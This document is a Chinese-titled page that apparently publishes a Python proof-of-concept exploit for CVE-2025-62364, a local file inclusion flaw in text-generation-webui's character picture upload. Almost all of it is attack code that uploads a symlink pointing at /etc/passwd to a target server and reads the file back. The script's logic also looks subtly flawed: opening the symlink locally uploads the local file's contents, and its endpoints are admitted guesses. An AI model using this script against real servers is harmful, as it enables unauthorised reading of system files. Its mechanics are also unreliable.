CVE-2025-62364：text-generation-webui 字符图片上传本地文件包含漏洞

#!/usr/bin/env python3 """ CVE-2025-62364 - text-generation-webui Local File Inclusion via Symlink PoC for demonstrating the character picture upload LFI vulnerability. """ import os import requests import tempfile TARGET_URL = "http://target-server:7860" # Default text-generation-webui port TARGET_FILE = "/etc/passwd" # File to read from the server def create_symlink_file(target_path, output_path): """Create a text file containing a symlink to the target file.""" # Remove existing file/symlink if os.path.exists(output_path) or os.path.islink(output_path): os.remove(output_path) # Create symbolic link os.symlink(target_path, output_path) print(f"[+] Created symlink: {output_path} -> {target_path}") def exploit(target_url, file_to_read): """Exploit the LFI vulnerability via character picture upload.""" # Step 1: Create a symlink file locally tmp_file = tempfile.mktemp(suffix=".txt") create_symlink_file(file_to_read, tmp_file) # Step 2: Upload the symlink file via the character picture upload endpoint upload_url = f"{target_url}/upload_character_picture" with open(tmp_file, "rb") as f: files = {"file": (os.path.basename(tmp_file), f, "text/plain")} response = requests.post(upload_url, files=files) print(f"[+] Upload response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") # Step 3: Access the uploaded file to read its contents # The uploaded file path is typically returned or predictable # Access the file through the web interface file_url = f"{target_url}/characters/picture/{os.path.basename(tmp_file)}" content_response = requests.get(file_url) print(f"[+] File content ({file_to_read}):\n{content_response.text}") # Cleanup os.remove(tmp_file) return content_response.text if __name__ == "__main__": exploit(TARGET_URL, TARGET_FILE)